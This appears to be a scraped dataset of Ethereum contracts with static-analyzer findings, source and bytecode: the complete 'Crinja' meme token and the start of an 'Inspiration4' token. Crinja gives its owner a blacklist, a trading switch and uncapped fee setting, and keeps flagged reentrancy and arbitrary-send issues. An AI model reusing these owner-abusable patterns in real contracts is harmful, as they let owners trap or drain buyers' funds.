{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,302 |
0x0776e34D0777b58f0a284caCea7A8f8BC5d5BD69
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
/**
Telegram - https://t.me/CrinjaETH
Site - https://crinjaETH.com/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Crinja is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Crinja";
string private constant _symbol = "CRINJA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x5ED64d7213B91499DFA63e5e1928403A086B8e6D);
address payable private _marketingAddress = payable(0xaF150b08F0C9d0845d8329b0d7334f43F596C1aF);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 50000 * 10**9; //.5%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051a578063dd62ed3e1461053a578063ea1644d514610580578063f2fde38b146105a057600080fd5b8063a2a957bb14610495578063a9059cbb146104b5578063bfd79284146104d5578063c3c8cd801461050557600080fd5b80638f70ccf7116100d15780638f70ccf7146104105780638f9a55c01461043057806395d89b411461044657806398a5c3151461047557600080fd5b806374010ece146103bc5780637d1db4a5146103dc5780638da5cb5b146103f257600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103525780636fc3eaec1461037257806370a0823114610387578063715018a6146103a757600080fd5b8063313ce567146102f657806349bd5a5e146103125780636b9990531461033257600080fd5b80631694505e116101a05780631694505e1461026457806318160ddd1461029c57806323b872dd146102c05780632fd689e3146102e057600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023457600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b6105c0565b005b3480156101ff57600080fd5b506040805180820190915260068152654372696e6a6160d01b60208201525b60405161022b9190611be8565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611a06565b61065f565b604051901515815260200161022b565b34801561027057600080fd5b50601454610284906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102a857600080fd5b50662386f26fc100005b60405190815260200161022b565b3480156102cc57600080fd5b506102546102db3660046119c5565b610676565b3480156102ec57600080fd5b506102b260185481565b34801561030257600080fd5b506040516009815260200161022b565b34801561031e57600080fd5b50601554610284906001600160a01b031681565b34801561033e57600080fd5b506101f161034d366004611952565b6106df565b34801561035e57600080fd5b506101f161036d366004611b82565b61072a565b34801561037e57600080fd5b506101f1610772565b34801561039357600080fd5b506102b26103a2366004611952565b6107bd565b3480156103b357600080fd5b506101f16107df565b3480156103c857600080fd5b506101f16103d7366004611b9d565b610853565b3480156103e857600080fd5b506102b260165481565b3480156103fe57600080fd5b506000546001600160a01b0316610284565b34801561041c57600080fd5b506101f161042b366004611b82565b610882565b34801561043c57600080fd5b506102b260175481565b34801561045257600080fd5b506040805180820190915260068152654352494e4a4160d01b602082015261021e565b34801561048157600080fd5b506101f1610490366004611b9d565b6108ca565b3480156104a157600080fd5b506101f16104b0366004611bb6565b6108f9565b3480156104c157600080fd5b506102546104d0366004611a06565b610937565b3480156104e157600080fd5b506102546104f0366004611952565b60106020526000908152604090205460ff1681565b34801561051157600080fd5b506101f1610944565b34801561052657600080fd5b506101f1610535366004611a32565b610998565b34801561054657600080fd5b506102b261055536600461198c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058c57600080fd5b506101f161059b366004611b9d565b610a39565b3480156105ac57600080fd5b506101f16105bb366004611952565b610a68565b6000546001600160a01b031633146105f35760405162461bcd60e51b81526004016105ea90611c3d565b60405180910390fd5b60005b815181101561065b5760016010600084848151811061061757610617611d84565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065381611d53565b9150506105f6565b5050565b600061066c338484610b52565b5060015b92915050565b6000610683848484610c76565b6106d584336106d085604051806060016040528060288152602001611dc6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b2565b610b52565b5060019392505050565b6000546001600160a01b031633146107095760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107545760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a757506013546001600160a01b0316336001600160a01b0316145b6107b057600080fd5b476107ba816111ec565b50565b6001600160a01b03811660009081526002602052604081205461067090611271565b6000546001600160a01b031633146108095760405162461bcd60e51b81526004016105ea90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016105ea90611c3d565b601655565b6000546001600160a01b031633146108ac5760405162461bcd60e51b81526004016105ea90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f45760405162461bcd60e51b81526004016105ea90611c3d565b601855565b6000546001600160a01b031633146109235760405162461bcd60e51b81526004016105ea90611c3d565b600893909355600a91909155600955600b55565b600061066c338484610c76565b6012546001600160a01b0316336001600160a01b0316148061097957506013546001600160a01b0316336001600160a01b0316145b61098257600080fd5b600061098d306107bd565b90506107ba816112f5565b6000546001600160a01b031633146109c25760405162461bcd60e51b81526004016105ea90611c3d565b60005b82811015610a335781600560008686858181106109e4576109e4611d84565b90506020020160208101906109f99190611952565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2b81611d53565b9150506109c5565b50505050565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016105ea90611c3d565b601755565b6000546001600160a01b03163314610a925760405162461bcd60e51b81526004016105ea90611c3d565b6001600160a01b038116610af75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cda5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038216610d3c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b60008111610d9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ea565b6000546001600160a01b03848116911614801590610dca57506000546001600160a01b03838116911614155b156110ab57601554600160a01b900460ff16610e63576000546001600160a01b03848116911614610e635760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ea565b601654811115610eb55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ea565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef757506001600160a01b03821660009081526010602052604090205460ff16155b610f4f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ea565b6015546001600160a01b03838116911614610fd45760175481610f71846107bd565b610f7b9190611ce3565b10610fd45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ea565b6000610fdf306107bd565b601854601654919250821015908210610ff85760165491505b80801561100f5750601554600160a81b900460ff16155b801561102957506015546001600160a01b03868116911614155b801561103e5750601554600160b01b900460ff165b801561106357506001600160a01b03851660009081526005602052604090205460ff16155b801561108857506001600160a01b03841660009081526005602052604090205460ff16155b156110a857611096826112f5565b4780156110a6576110a6476111ec565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ed57506001600160a01b03831660009081526005602052604090205460ff165b8061111f57506015546001600160a01b0385811691161480159061111f57506015546001600160a01b03848116911614155b1561112c575060006111a6565b6015546001600160a01b03858116911614801561115757506014546001600160a01b03848116911614155b1561116957600854600c55600954600d555b6015546001600160a01b03848116911614801561119457506014546001600160a01b03858116911614155b156111a657600a54600c55600b54600d555b610a338484848461147e565b600081848411156111d65760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611d3c565b95945050505050565b6012546001600160a01b03166108fc6112068360026114ac565b6040518115909202916000818181858888f1935050505015801561122e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112498360026114ac565b6040518115909202916000818181858888f1935050505015801561065b573d6000803e3d6000fd5b60006006548211156112d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ea565b60006112e26114ee565b90506112ee83826114ac565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d611d84565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139157600080fd5b505afa1580156113a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c9919061196f565b816001815181106113dc576113dc611d84565b6001600160a01b0392831660209182029290920101526014546114029130911684610b52565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143b908590600090869030904290600401611c72565b600060405180830381600087803b15801561145557600080fd5b505af1158015611469573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148b5761148b611511565b61149684848461153f565b80610a3357610a33600e54600c55600f54600d55565b60006112ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611636565b60008060006114fb611664565b909250905061150a82826114ac565b9250505090565b600c541580156115215750600d54155b1561152857565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611551876116a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158390876116ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b29086611741565b6001600160a01b0389166000908152600260205260409020556115d4816117a0565b6115de84836117ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162391815260200190565b60405180910390a3505050505050505050565b600081836116575760405162461bcd60e51b81526004016105ea9190611be8565b5060006111e38486611cfb565b6006546000908190662386f26fc1000061167e82826114ac565b82101561169957505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116bf8a600c54600d5461180e565b92509250925060006116cf6114ee565b905060008060006116e28e878787611863565b919e509c509a509598509396509194505050505091939550919395565b60006112ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b2565b60008061174e8385611ce3565b9050838110156112ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b60006117aa6114ee565b905060006117b883836118b3565b306000908152600260205260409020549091506117d59082611741565b30600090815260026020526040902055505050565b6006546117f790836116ff565b6006556007546118079082611741565b6007555050565b6000808080611828606461182289896118b3565b906114ac565b9050600061183b60646118228a896118b3565b905060006118538261184d8b866116ff565b906116ff565b9992985090965090945050505050565b600080808061187288866118b3565b9050600061188088876118b3565b9050600061188e88886118b3565b905060006118a08261184d86866116ff565b939b939a50919850919650505050505050565b6000826118c257506000610670565b60006118ce8385611d1d565b9050826118db8583611cfb565b146112ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b803561193d81611db0565b919050565b8035801515811461193d57600080fd5b60006020828403121561196457600080fd5b81356112ee81611db0565b60006020828403121561198157600080fd5b81516112ee81611db0565b6000806040838503121561199f57600080fd5b82356119aa81611db0565b915060208301356119ba81611db0565b809150509250929050565b6000806000606084860312156119da57600080fd5b83356119e581611db0565b925060208401356119f581611db0565b929592945050506040919091013590565b60008060408385031215611a1957600080fd5b8235611a2481611db0565b946020939093013593505050565b600080600060408486031215611a4757600080fd5b833567ffffffffffffffff80821115611a5f57600080fd5b818601915086601f830112611a7357600080fd5b813581811115611a8257600080fd5b8760208260051b8501011115611a9757600080fd5b602092830195509350611aad9186019050611942565b90509250925092565b60006020808385031215611ac957600080fd5b823567ffffffffffffffff80821115611ae157600080fd5b818501915085601f830112611af557600080fd5b813581811115611b0757611b07611d9a565b8060051b604051601f19603f83011681018181108582111715611b2c57611b2c611d9a565b604052828152858101935084860182860187018a1015611b4b57600080fd5b600095505b83861015611b7557611b6181611932565b855260019590950194938601938601611b50565b5098975050505050505050565b600060208284031215611b9457600080fd5b6112ee82611942565b600060208284031215611baf57600080fd5b5035919050565b60008060008060808587031215611bcc57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1557858101830151858201604001528201611bf9565b81811115611c27576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc25784516001600160a01b031683529383019391830191600101611c9d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf657611cf6611d6e565b500190565b600082611d1857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3757611d37611d6e565b500290565b600082821015611d4e57611d4e611d6e565b500390565b6000600019821415611d6757611d67611d6e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af6958e207db06e71e5fc37b29271262939b8504268ab3347d6c74764643d3b564736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,303 |
0x7b699cefbd6c1e8c94545180d5260b104e80f21f
|
/**
*Submitted for verification at Etherscan.io on 2021-09-16
*/
/**
Elon Musk Tweets and We Listen!
Inspiration4 !
t.me/Inspiration4ERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Inspiration4 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inspiration4";
string private constant _symbol = "Inspiration4";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
